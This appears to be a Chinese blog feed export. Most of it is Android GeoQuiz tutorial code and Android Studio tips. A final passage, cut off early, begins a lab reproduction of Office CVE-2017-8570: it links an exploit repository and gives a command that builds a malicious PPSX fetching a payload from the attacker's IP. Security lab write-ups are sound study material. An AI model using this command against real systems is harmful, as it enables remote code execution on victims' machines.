answerTrue;</div><div class="line"> }</div><div class="line">}</div></pre></td></tr></table></figure></p><p>成员变量<code>mTextResId</code>的作用是:<code>int</code>类型显示问题的内容<br>成员变量<code>mAnswerTrue</code>的作用是:<code>boolean</code>类型的,用来判断问题的对错</p><h2 id="int-类型的疑问"><a href="#int-类型的疑问" class="headerlink" title="int 类型的疑问"></a>int 类型的疑问</h2><p>到这里小伙伴肯定有疑问了:成员变量<code>mTextResId</code>是<code>int</code>类型的,但是却用来显示问题的内容,说到内容这里我们第一时间肯定是想到了<code>String</code>类型.<br>哈哈,我也有这个疑问,还好书的作者这里给了一个很详细的解释:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line">变量mTextResId用来保存地理知识</div><div class="line">问题字符串的资源ID。资源ID总是int类型,所以这里设置它为int而不是String类型</div></pre></td></tr></table></figure></p><h2 id="生成获取方法与设置方法"><a href="#生成获取方法与设置方法" class="headerlink" title="生成获取方法与设置方法"></a>生成获取方法与设置方法</h2><figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">int</span> <span class="title">getTextResId</span><span class="params">()</span> </span>{</div><div class="line"> <span class="keyword">return</span> mTextResId;</div><div class="line">}</div><div class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">setTextResId</span><span class="params">(<span class="keyword">int</span> textResId)</span> </span>{</div><div class="line"> mTextResId = textResId;</div><div class="line">} </div><div class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">boolean</span> <span class="title">isAnswerTrue</span><span class="params">()</span> </span>{</div><div class="line"> <span class="keyword">return</span> mAnswerTrue;</div><div class="line">}</div><div class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">setAnswerTrue</span><span class="params">(<span class="keyword">boolean</span> answerTrue)</span> </span>{</div><div class="line"> mAnswerTrue = answerTrue;</div><div class="line">}</div></pre></td></tr></table></figure><h2 id="新增按钮以及文本视图调整"><a href="#新增按钮以及文本视图调整" class="headerlink" title="新增按钮以及文本视图调整"></a>新增按钮以及文本视图调整</h2><p><code>activity_quiz.xml</code><br><figure class="highlight xml"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div></pre></td><td class="code"><pre><div class="line"><span class="tag"><<span class="name">TextView</span> </span></div><div class="line"><span class="tag"> <span class="attr">android:id</span>=<span class="string">"@+id/question_text_view"</span></span></div><div class="line"><span class="tag"> <span class="attr">android:layout_width</span>=<span class="string">"wrap_content"</span></span></div><div class="line"><span class="tag"> <span class="attr">android:layout_height</span>=<span class="string">"wrap_content"</span></span></div><div class="line"><span class="tag"> <span class="attr">android:padding</span>=<span class="string">"24dp"</span></span></div><div class="line"><span class="tag"> /></span> </div><div class="line"> <span class="tag"><<span class="name">Button</span></span></div><div class="line"><span class="tag"> <span class="attr">android:id</span>=<span class="string">"@+id/next_button"</span></span></div><div class="line"><span class="tag"> <span class="attr">android:layout_width</span>=<span class="string">"wrap_content"</span></span></div><div class="line"><span class="tag"> <span class="attr">android:layout_height</span>=<span class="string">"wrap_content"</span></span></div><div class="line"><span class="tag"> <span class="attr">android:text</span>=<span class="string">"@string/next_button"</span> /></span></div></pre></td></tr></table></figure></p><p><code>strings.xml</code><br><figure class="highlight xml"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line"><span class="tag"><<span class="name">string</span> <span class="attr">name</span>=<span class="string">"next_button"</span>></span>NEXT<span class="tag"></<span class="name">string</span>></span></div></pre></td></tr></table></figure></p><p>这里删除了<code>TextView</code>的<code>android:text</code>属性定义。取消了硬编码地理知识问题。<br>为<code>TextView</code>新增<code>android:id</code>属性。<code>TextView</code>组件需要资源<code>ID</code>。<br>新增了<code>Button</code>按钮对应了<code>strings.xml</code>文件里面的<code>NEXT</code>的值。</p><h2 id="完善-strings-xml-问题字符串"><a href="#完善-strings-xml-问题字符串" class="headerlink" title="完善 strings.xml 问题字符串"></a>完善 strings.xml 问题字符串</h2><figure class="highlight xml"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line"><span class="tag"><<span class="name">string</span> <span class="attr">name</span>=<span class="string">"question_xss"</span>></span>DOM XSS属于反射型XSS<span class="tag"></<span class="name">string</span>></span></div><div class="line"><span class="tag"><<span class="name">string</span> <span class="attr">name</span>=<span class="string">"question_sql"</span>></span>XSS 注入不属于HTTP头注入<span class="tag"></<span class="name">string</span>></span></div></pre></td></tr></table></figure><h2 id="增加问题对象数组"><a href="#增加问题对象数组" class="headerlink" title="增加问题对象数组"></a>增加问题对象数组</h2><p><code>QuizActivity.java</code><br><figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">QuizActivity</span> <span class="keyword">extends</span> <span class="title">AppCompatActivity</span> </span>{</div><div class="line"> <span class="keyword">private</span> Button mTrueButton;</div><div class="line"> <span class="keyword">private</span> Button mFalseButton;</div><div class="line"> <span class="keyword">private</span> Button mNextButton;</div><div class="line"> <span class="keyword">private</span> TextView mQuestionTextView;</div><div class="line"><span class="keyword">private</span> Question[] mQuestionBank = <span class="keyword">new</span> Question[] {</div><div class="line"> <span class="keyword">new</span> Question(R.string.question_xss, <span class="keyword">true</span>),</div><div class="line"> <span class="keyword">new</span> Question(R.string.question_sql, <span class="keyword">false</span>),</div><div class="line"> };</div><div class="line"> <span class="keyword">private</span> <span class="keyword">int</span> mCurrentIndex = <span class="number">0</span>;</div></pre></td></tr></table></figure></p><p>通过多次调用<code>Question</code>类的构造方法,创建了<code>Question</code>对象数组</p><h2 id="TextView-显示问题内容"><a href="#TextView-显示问题内容" class="headerlink" title="TextView 显示问题内容"></a>TextView 显示问题内容</h2><figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div></pre></td><td class="code"><pre><div class="line"> mQuestionTextView = (TextView) findViewById(R.id.question_text_view);</div><div class="line"> <span class="keyword">int</span> question = mQuestionBank[mCurrentIndex].getTextResId();</div><div class="line"> mQuestionTextView.setText(question);</div><div class="line">}</div></pre></td></tr></table></figure><p>这里首先去<code>R.id.question_text_view</code>找到<code>text_view</code>的值,然后转换为<code>TextView</code>类型,用<code>int</code>类型的<code>question</code>去拿到当前问题数组中的值,然后用<code>setText(question)</code>拿到<code>textview</code>的值,赋值给<code>mQuestionTextView</code>。</p><h2 id="为-next-按钮设置监听事件"><a href="#为-next-按钮设置监听事件" class="headerlink" title="为 next 按钮设置监听事件"></a>为 next 按钮设置监听事件</h2><figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div></pre></td><td class="code"><pre><div class="line">mNextButton = (Button) findViewById(R.id.next_button);</div><div class="line">mNextButton.setOnClickListener(<span class="keyword">new</span> View.OnClickListener() {</div><div class="line"> <span class="meta">@Override</span></div><div class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">onClick</span><span class="params">(View v)</span> </span>{</div><div class="line"> mCurrentIndex = (mCurrentIndex + <span class="number">1</span>) % mQuestionBank.length;</div><div class="line"> <span class="keyword">int</span> question = mQuestionBank[mCurrentIndex].getTextResId();</div><div class="line"> mQuestionTextView.setText(question);</div><div class="line"> }</div><div class="line">});</div></pre></td></tr></table></figure><p>这里的主要的事件类型是<code>mCurrentIndex = (mCurrentIndex + 1) % mQuestionBank.length;</code> 这样的话就拿到了核心代码就是<code>mCurrentIndex + 1</code>,这里实现了问题数组往下一个切换。</p><h2 id="封装-updateQuestion-封公共代码"><a href="#封装-updateQuestion-封公共代码" class="headerlink" title="封装 updateQuestion() 封公共代码"></a>封装 updateQuestion() 封公共代码</h2><p>为什么要封装代码,因为我们一开始定义<code>mQuestionTextView</code>的时候就使用了如下的代码:<br><figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div></pre></td><td class="code"><pre><div class="line">mQuestionTextView = (TextView) findViewById(R.id.question_text_view);</div><div class="line"><span class="keyword">int</span> question = mQuestionBank[mCurrentIndex].getTextResId();</div><div class="line">mQuestionTextView.setText(question);</div></pre></td></tr></table></figure></p><p>当我们 为 <code>next</code> 按钮触发监听事件的时候也写到了如下的代码:<br><figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">onClick</span><span class="params">(View v)</span> </span>{</div><div class="line"> mCurrentIndex = (mCurrentIndex + <span class="number">1</span>) % mQuestionBank.length;</div><div class="line"> <span class="keyword">int</span> question = mQuestionBank[mCurrentIndex].getTextResId();</div><div class="line"> mQuestionTextView.setText(question);</div><div class="line"> }</div></pre></td></tr></table></figure></p><p>这里就出现了重复的去写一段代码了,这显然不是一个合格的程序员所做的事情,所以这里得想办法把这块重复代码进行封装一下:<br>定义一个<code>updateQuestion()</code>方法:<br><figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">private</span> <span class="keyword">void</span> <span class="title">updateQuestion</span><span class="params">()</span> </span>{</div><div class="line"> <span class="keyword">int</span> question = mQuestionBank[mCurrentIndex].getTextResId();</div><div class="line"> mQuestionTextView.setText(question);</div><div class="line"> }</div></pre></td></tr></table></figure></p><p>然后可以直接使用<code>updateQuestion();</code>来简化上面的操作。</p><h1 id="对答案进行判断"><a href="#对答案进行判断" class="headerlink" title="对答案进行判断"></a>对答案进行判断</h1><p>增加方法<code>checkAnswer(boolean)</code>,用于判断答案的正确与否:<br><figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">private</span> <span class="keyword">void</span> <span class="title">updateQuestion</span><span class="params">()</span> </span>{</div><div class="line"> <span class="keyword">int</span> question = mQuestionBank[mCurrentIndex].getTextResId();</div><div class="line"> mQuestionTextView.setText(question);</div><div class="line">}</div><div class="line"></div><div class="line"><span class="function"><span class="keyword">private</span> <span class="keyword">void</span> <span class="title">checkAnswer</span><span class="params">(<span class="keyword">boolean</span> userPressedTrue)</span> </span>{</div><div class="line"> <span class="keyword">boolean</span> answerIsTrue = mQuestionBank[mCurrentIndex].isAnswerTrue();</div><div class="line"> <span class="keyword">int</span> messageResId = <span class="number">0</span>;</div><div class="line"> <span class="keyword">if</span> (userPressedTrue == answerIsTrue) {</div><div class="line"> messageResId = R.string.correct_toast;</div><div class="line"> } <span class="keyword">else</span> {</div><div class="line"> messageResId = R.string.incorrect_toast;</div><div class="line"> }</div><div class="line"> Toast.makeText(<span class="keyword">this</span>, messageResId, Toast.LENGTH_SHORT).show();</div><div class="line"> }</div></pre></td></tr></table></figure></p><p>进行答案正确的基本的逻辑判断,当答案正确的时候,直接使用<code>toast</code>来弹出<code>R.string.correct_toast</code>的值;答案错误的时候,使用<code>toast</code>来弹出<code>R.string.incorrect_toas</code>的值。</p><h2 id="为按钮设置-cheakAnswer-事件"><a href="#为按钮设置-cheakAnswer-事件" class="headerlink" title="为按钮设置 cheakAnswer 事件"></a>为按钮设置 cheakAnswer 事件</h2><figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div></pre></td><td class="code"><pre><div class="line">mTrueButton.setOnClickListener(<span class="keyword">new</span> View.OnClickListener() {</div><div class="line"> <span class="meta">@Override</span></div><div class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">onClick</span><span class="params">(View v)</span> </span>{</div><div class="line"> checkAnswer(<span class="keyword">true</span>);</div><div class="line">} </div><div class="line">mFalseButton.setOnClickListener(<span class="keyword">new</span> View.OnClickListener() {</div><div class="line"> <span class="meta">@Override</span></div><div class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">onClick</span><span class="params">(View v)</span> </span>{</div><div class="line"> checkAnswer(<span class="keyword">false</span>);</div><div class="line">}</div></pre></td></tr></table></figure><h1 id="第2章挑战练习"><a href="#第2章挑战练习" class="headerlink" title="第2章挑战练习"></a>第2章挑战练习</h1><h2 id="为-TextView-添加监听器"><a href="#为-TextView-添加监听器" class="headerlink" title="为 TextView 添加监听器"></a>为 TextView 添加监听器</h2><p><code>NEXT</code>按钮不错,但如果用户单击应用的<code>TextView</code>文字区域(地理知识问题),也可以跳转<br>到下一道题,用户体验应该会更好。你来试一试。<br>这里面思路就是为<code>mQuestionTextView</code>对象也设置一个监听事件,然后功能上的代码和<code>next</code>按钮几乎是一样的。<br><figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div></pre></td><td class="code"><pre><div class="line">mQuestionTextView.setOnClickListener(<span class="keyword">new</span> View.OnClickListener(){</div><div class="line"> <span class="meta">@Override</span></div><div class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">onClick</span><span class="params">(View v)</span></span>{</div><div class="line"> mCurrentIndex = (mCurrentIndex + <span class="number">1</span>) % mQuestionBank.length;</div><div class="line"> mIsCheater = <span class="keyword">false</span>;</div><div class="line"> updateQuestion();</div><div class="line"> }</div><div class="line"> });</div></pre></td></tr></table></figure></p><h2 id="添加后退按钮"><a href="#添加后退按钮" class="headerlink" title="添加后退按钮"></a>添加后退按钮</h2><p>为GeoQuiz应用新增后退按钮,用户单击时,可以显示上一道测试题目。<br>这里首先布局文件xml文件添加个 与 <code>next</code>按钮一样的 <code>Button</code>组件即可,这里不再叙述,下面写出 关键功能是 <code>java</code>代码,其实关键点就在于<code>mCurrentIndex = (mCurrentIndex - 1) % mQuestionBank.length;</code><br><figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div></pre></td><td class="code"><pre><div class="line">mPrevButton = (Button) findViewById(R.id.prev_button);</div><div class="line"> mPrevButton.setOnClickListener(<span class="keyword">new</span> View.OnClickListener(){</div><div class="line"> <span class="meta">@Override</span></div><div class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">onClick</span><span class="params">(View v)</span></span>{</div><div class="line"> mCurrentIndex = (mCurrentIndex - <span class="number">1</span>) % mQuestionBank.length;</div><div class="line"> updateQuestion();</div><div class="line"> }</div><div class="line"> });</div></pre></td></tr></table></figure></p><h1 id="为按钮添加图标"><a href="#为按钮添加图标" class="headerlink" title="为按钮添加图标"></a>为按钮添加图标</h1><figure class="highlight xml"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div></pre></td><td class="code"><pre><div class="line"><span class="tag"><<span class="name">Button</span></span></div><div class="line"><span class="tag"> <span class="attr">android:id</span>=<span class="string">"@+id/next_button"</span></span></div><div class="line"><span class="tag"> <span class="attr">android:drawableRight</span>=<span class="string">"@drawable/arrow_right"</span></span></div><div class="line"><span class="tag"> <span class="attr">android:drawablePadding</span>=<span class="string">"4dp"</span></span></div><div class="line"><span class="tag"> /></span></div></pre></td></tr></table></figure><p>这里<code>drawableRight</code>就是将 图标添加到 按钮的 左边部分,反之要添加到 右面部分 只需要 改为:<code>drawableLeft</code>,这样图标就添加到左边了。</p>]]></content>
<summary type="html">
<p><img src="http://image.3001.net/images/20170914/15053533895859.png" alt=""><br>记录了第一个简易app开发中遇到的知识点,以及一些自己对代码的理解<br>
</summary>
<category term="Android" scheme="http://www.sqlsec.com/categories/Android/"/>
<category term="Android" scheme="http://www.sqlsec.com/tags/Android/"/>
<category term="国光" scheme="http://www.sqlsec.com/tags/%E5%9B%BD%E5%85%89/"/>
</entry>
<entry>
<title>Android 开发初体验</title>
<link href="http://www.sqlsec.com/2017/09/android2.html"/>
<id>http://www.sqlsec.com/2017/09/android2.html</id>
<published>2017-09-14T01:27:03.335Z</published>
<updated>2017-09-14T09:32:57.000Z</updated>
<content type="html"><![CDATA[<p><img src="http://image.3001.net/images/20170914/15053527559015.png" alt=""><br>解释了一些anroid开发中的一些基本的术语 算是一篇扫盲文章吧<br><a id="more"></a></p><h1 id="Android-Studio-的优势"><a href="#Android-Studio-的优势" class="headerlink" title="Android Studio 的优势"></a>Android Studio 的优势</h1><ul><li>界面美观</li><li>速度优于Eclipse</li><li>提示补全更加人性化</li><li>整合了Gradle构建工具</li><li>支持Google Cloud Platform</li><li>强大的UI编辑器</li></ul><h1 id="GenyMoton-虚拟机"><a href="#GenyMoton-虚拟机" class="headerlink" title="GenyMoton 虚拟机"></a>GenyMoton 虚拟机</h1><p>受欢迎的第三方模拟器,依赖于<code>VirtualBox</code>,严格来说<code>genymotion</code>是虚拟机,加载<code>app</code>的速度比较快,操作起来也很流畅,最近随着<code>android studio</code>自带模拟器的优化,<code>genyMoton</code>使用的就没有以前那么广泛。</p><h1 id="DDMS"><a href="#DDMS" class="headerlink" title="DDMS"></a>DDMS</h1><p><code>Dalvik Debug Monitor Service</code>,提供了一系列的调试服务<br><img src="http://image.3001.net/images/20170908/15048314499202.png" alt=""><br>现在是空的,现在打开模拟器看下日志记录的效果:<br><img src="http://image.3001.net/images/20170908/1504831591281.png" alt=""></p><h1 id="MVC-Android-的设计模式"><a href="#MVC-Android-的设计模式" class="headerlink" title="MVC Android 的设计模式"></a>MVC Android 的设计模式</h1><h2 id="程序的目录结构"><a href="#程序的目录结构" class="headerlink" title="程序的目录结构"></a>程序的目录结构</h2><ul><li>mainfests 目录<br>这个目录中的<code>AndroidMainifest.xml</code>文件是项目系统配置文件,或者称为清单文件 </li><li>java目录</li><li>res目录</li><li>Gradle Scripts<br><img src="http://image.3001.net/images/20170908/15048319795252.png" alt=""> </li></ul><h2 id="Android-应用程序结构解析"><a href="#Android-应用程序结构解析" class="headerlink" title="Android 应用程序结构解析"></a>Android 应用程序结构解析</h2><p><strong>资源描述文件</strong> <code>values</code>目录中的文件<br><code>colors.xml</code> 该文件用于定义颜色常亮<br><code>dimens.xml</code>用于定义布局常量,常用的尺寸单位为<code>dip</code>和<code>sp</code>,绝大多数 <code>sp</code>用字体<br><code>string.xml</code> 定义和存储项目中的字符串资源,而且可以用来适配多种语言,方便实现国际化</p><p><strong>界面布局文件</strong> <code>res</code>目录中的文件<br>在资源中对另一种资源引用的时候,一般引用的格式为<code>@type/name</code>,资源引用还有另一种格式为<code>@+type/name</code> </p><p><strong>R.java</strong> 文件<br>所有的资源在这个文件中都有一个唯一的<code>ID</code>标识,而且必须在文件中注册,该文件自动生成,自动维护,出一些奇怪的错误的时候可以考虑 如下操作:<br><img src="http://image.3001.net/images/20170908/15048333127233.png" alt=""><br><img src="http://image.3001.net/images/20170908/15048332391744.png" alt=""><br>完整的代码结构如下:<br><img src="http://image.3001.net/images/20170908/15048336657782.png" alt=""> </p><h2 id="AndroidManifest-xml"><a href="#AndroidManifest-xml" class="headerlink" title="AndroidManifest.xml"></a>AndroidManifest.xml</h2><ul><li>应用程序包名称</li><li>应用程序申请的自身所需要的权限</li><li>应用程序中包含的组件<figure class="highlight xml"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div></pre></td><td class="code"><pre><div class="line"><?xml version="1.0" encoding="utf-8"?></div><div class="line"><span class="tag"><<span class="name">manifest</span> <span class="attr">xmlns:android</span>=<span class="string">"http://schemas.android.com/apk/res/android"</span></span></div><div class="line"><span class="tag"> <span class="attr">package</span>=<span class="string">"com.sqlsec.gg.geoquiz"</span>></span></div><div class="line"></div><div class="line"> <span class="tag"><<span class="name">application</span></span></div><div class="line"><span class="tag"> <span class="attr">android:allowBackup</span>=<span class="string">"true"</span></span></div><div class="line"><span class="tag"> <span class="attr">android:icon</span>=<span class="string">"@mipmap/ic_launcher"</span></span></div><div class="line"><span class="tag"> <span class="attr">android:label</span>=<span class="string">"@string/app_name"</span></span></div><div class="line"><span class="tag"> <span class="attr">android:roundIcon</span>=<span class="string">"@mipmap/ic_launcher_round"</span></span></div><div class="line"><span class="tag"> <span class="attr">android:supportsRtl</span>=<span class="string">"true"</span></span></div><div class="line"><span class="tag"> <span class="attr">android:theme</span>=<span class="string">"@style/AppTheme"</span>></span></div><div class="line"> <span class="tag"><<span class="name">activity</span> <span class="attr">android:name</span>=<span class="string">".QuizActivity"</span>></span></div><div class="line"> <span class="tag"><<span class="name">intent-filter</span>></span></div><div class="line"> <span class="tag"><<span class="name">action</span> <span class="attr">android:name</span>=<span class="string">"android.intent.action.MAIN"</span> /></span></div><div class="line"></div><div class="line"> <span class="tag"><<span class="name">category</span> <span class="attr">android:name</span>=<span class="string">"android.intent.category.LAUNCHER"</span> /></span></div><div class="line"> <span class="tag"></<span class="name">intent-filter</span>></span></div><div class="line"> <span class="tag"></<span class="name">activity</span>></span></div><div class="line"> <span class="tag"></<span class="name">application</span>></span></div><div class="line"></div><div class="line"><span class="tag"></<span class="name">manifest</span>></span></div></pre></td></tr></table></figure></li></ul><p>这里面可以添加多个<code>activity</code>,是程序的一个启动入口。</p><h2 id="Android-的基本组件"><a href="#Android-的基本组件" class="headerlink" title="Android 的基本组件"></a>Android 的基本组件</h2><ul><li>活动:Activity</li></ul><p>应用程序中,一个Activity通常就是一个单独的屏幕,它上面可以显示一些控件也可以监听并处理用户的事件做出响应。</p><ul><li>服务: Service</li></ul><p>一个Service 是一段长生命周期的,没有用户界面的程序,可以用来开发如监控类程序。</p><ul><li>广播接收器: BroadcasrReceiver</li></ul><p>不执行任何任务,广播是一种广泛运用的在应用程序之间传输信息的机制。而 BroadcastReceiver 是对发送出来的广播进行过滤接收并响应的一类组件。</p><ul><li>内容提供者</li></ul><p>内容提供者,作为应用程序之间唯一的共享数据的途径,Content Provider 主要的功能就是存储并检索数据以及向其他应用程序提供访问数据的接口。</p><h1 id="Android-Studio优化"><a href="#Android-Studio优化" class="headerlink" title="Android Studio优化"></a>Android Studio优化</h1><h2 id="安装字体"><a href="#安装字体" class="headerlink" title="安装字体"></a>安装字体</h2><p><strong>下载地址</strong><br><a href="http://ombgvjpli.bkt.clouddn.com/MONACO.TTF" target="_blank" rel="external">http://ombgvjpli.bkt.clouddn.com/MONACO.TTF</a><br><strong>安装字体</strong><br>双击打开字体文件 然后点击左上角的<code>安装</code> ,这一个操作其实就是系统把这个字体文件拷贝到系统的字体目录下。<br><img src="http://image.3001.net/images/20170911/15051165487642.png" alt=""> </p><h2 id="安装主题"><a href="#安装主题" class="headerlink" title="安装主题"></a>安装主题</h2><p>这里使用的是经典的<code>Sublime Text3</code>下的<code>monkai</code>主题<br><strong>下载地址</strong><br><a href="http://ombgvjpli.bkt.clouddn.com/SublimeMonoKai.jar" target="_blank" rel="external">http://ombgvjpli.bkt.clouddn.com/SublimeMonoKai.jar</a><br><strong>导入主题</strong><br><code>File</code>-<code>Import Settings</code> 然后选择 刚刚下载的主题的<code>jar</code>包 即完成了主题的安装<br><img src="http://image.3001.net/images/20170911/1505116349817.png" alt=""></p><h2 id="配置主题"><a href="#配置主题" class="headerlink" title="配置主题"></a>配置主题</h2><p>菜单栏依次点击 <code>File</code> - <code>Settings</code> - <code>Editor</code> - <code>Colors & Fonts</code> - <code>Font</code> ,然后就可以对主题和字体进行一些相关的设置,使用第三方字体的话 得 取消勾选<code>Show only monospaced fonts</code><br><img src="http://image.3001.net/images/20170911/15051168234980.png" alt=""> </p><h2 id="Ctrl-鼠标滚轮快速调整字体大小"><a href="#Ctrl-鼠标滚轮快速调整字体大小" class="headerlink" title="Ctrl + 鼠标滚轮快速调整字体大小"></a>Ctrl + 鼠标滚轮快速调整字体大小</h2><p>设置里面勾选 ,然后就可以愉快的使用 鼠标滚轮 + Ctrl 快速调整字体大小了<br><img src="http://image.3001.net/images/20170911/15051174469324.png" alt=""> </p>]]></content>
<summary type="html">
<p><img src="http://image.3001.net/images/20170914/15053527559015.png" alt=""><br>解释了一些anroid开发中的一些基本的术语 算是一篇扫盲文章吧<br>
</summary>
<category term="Android" scheme="http://www.sqlsec.com/categories/Android/"/>
<category term="Android" scheme="http://www.sqlsec.com/tags/Android/"/>
</entry>
<entry>
<title>Office CVE-2017-8570远程代码执行漏洞复现</title>
<link href="http://www.sqlsec.com/2017/08/officecve.html"/>
<id>http://www.sqlsec.com/2017/08/officecve.html</id>
<published>2017-08-13T06:41:15.000Z</published>
<updated>2017-09-30T03:56:51.000Z</updated>
<content type="html"><![CDATA[<p><img src="http://i1.nbimg.com/595241/a11ee6367b9f55ea.png" alt="Markdown"><br>简单的漏洞复现,主要是科普metasploit,以后会更新metasploit深入的文章~<br><a id="more"></a></p><h1 id="漏洞简介"><a href="#漏洞简介" class="headerlink" title="漏洞简介"></a>漏洞简介</h1><h2 id="编号"><a href="#编号" class="headerlink" title="编号"></a>编号</h2><p>CVE-2017-8570</p><h2 id="影响版本"><a href="#影响版本" class="headerlink" title="影响版本"></a>影响版本</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div></pre></td><td class="code"><pre><div class="line">Microsoft Office 2007 Service Pack 3</div><div class="line">Microsoft Office 2010 Service Pack 2 (32-bit editions)</div><div class="line">Microsoft Office 2010 Service Pack 2 (64-bit editions)</div><div class="line">Microsoft Office 2013 RT Service Pack 1</div><div class="line">Microsoft Office 2013 Service Pack 1 (32-bit editions)</div><div class="line">Microsoft Office 2013 Service Pack 1 (64-bit editions)</div><div class="line">Microsoft Office 2016 (32-bit edition)</div><div class="line">Microsoft Office 2016 (64-bit edition)</div></pre></td></tr></table></figure><h2 id="危害"><a href="#危害" class="headerlink" title="危害"></a>危害</h2><p>2017年7月,微软在例行的月度补丁中修复了多个Microsoft Office漏洞,其中的<code>CVE-2017-8570</code>漏洞为一个逻辑漏洞,<code>利用方法简单</code>。网上已经出现该漏洞的利用代码,影响范围较广。</p><p>该漏洞为Microsoft Office的一个远程代码执行漏洞。其成因是<code>Microsoft PowerPoint</code>执行时会初始化<code>Script”Moniker</code>对象,而在<code>PowerPoint</code>播放动画期间会<code>激活</code>该对象,从而执行<code>sct</code>脚本(Windows Script Component)文件。攻击者可以欺骗用户运行含有该漏洞的PPT文件,导致获取和当前登录用户相同的代码执行权限。</p><h1 id="复现环境"><a href="#复现环境" class="headerlink" title="复现环境"></a>复现环境</h1><h2 id="受害者(靶机)"><a href="#受害者(靶机)" class="headerlink" title="受害者(靶机)"></a>受害者(靶机)</h2><p><strong>操作系统:</strong> <code>windows 7 sp1 x86</code><br><strong>Office版本</strong><code>Office 专业增强版 2016</code><br><strong>ip</strong><code>10.0.0.116</code></p><h2 id="攻击者"><a href="#攻击者" class="headerlink" title="攻击者"></a>攻击者</h2><p><strong>操作系统</strong><code>Deepin 15.4.1</code><br><strong>metasploit版本</strong><code>v4.14.28-dev</code><br><strong>ip</strong><code>10.0.0.103</code></p><h2 id="exp"><a href="#exp" class="headerlink" title="exp"></a>exp</h2><p>原作者的github链接挂了,暂时就放在了我的github里面:<br><code>https://github.com/tezukanice/Office8570.git</code></p><h2 id="参考视频"><a href="#参考视频" class="headerlink" title="参考视频"></a>参考视频</h2><p><code>https://www.youtube.com/watch?v=zpfNf8JTSQM</code> </p><h1 id="生成恶意文件"><a href="#生成恶意文件" class="headerlink" title="生成恶意文件"></a>生成恶意文件</h1><h2 id="生成恶意PPSX文件"><a href="#生成恶意PPSX文件" class="headerlink" title="生成恶意PPSX文件"></a>生成恶意PPSX文件</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">python cve-2017-8570_toolkit.py -M gen -w Invoice.ppsx -u http://10.0.0.103/logo.doc</div></pre></td></tr></table></figure><p>这里的<code>10.0.0.103</code>是攻击者的<code>ip</code>地址<br><img src="http://i2.nbimg.com/595241/4c81ca02fb7b1bd4.png" alt="Markdown"></p><h2 id="生成反弹shell-的-exe-文件"><a href="#生成反弹shell-的-exe-文件" class="headerlink" 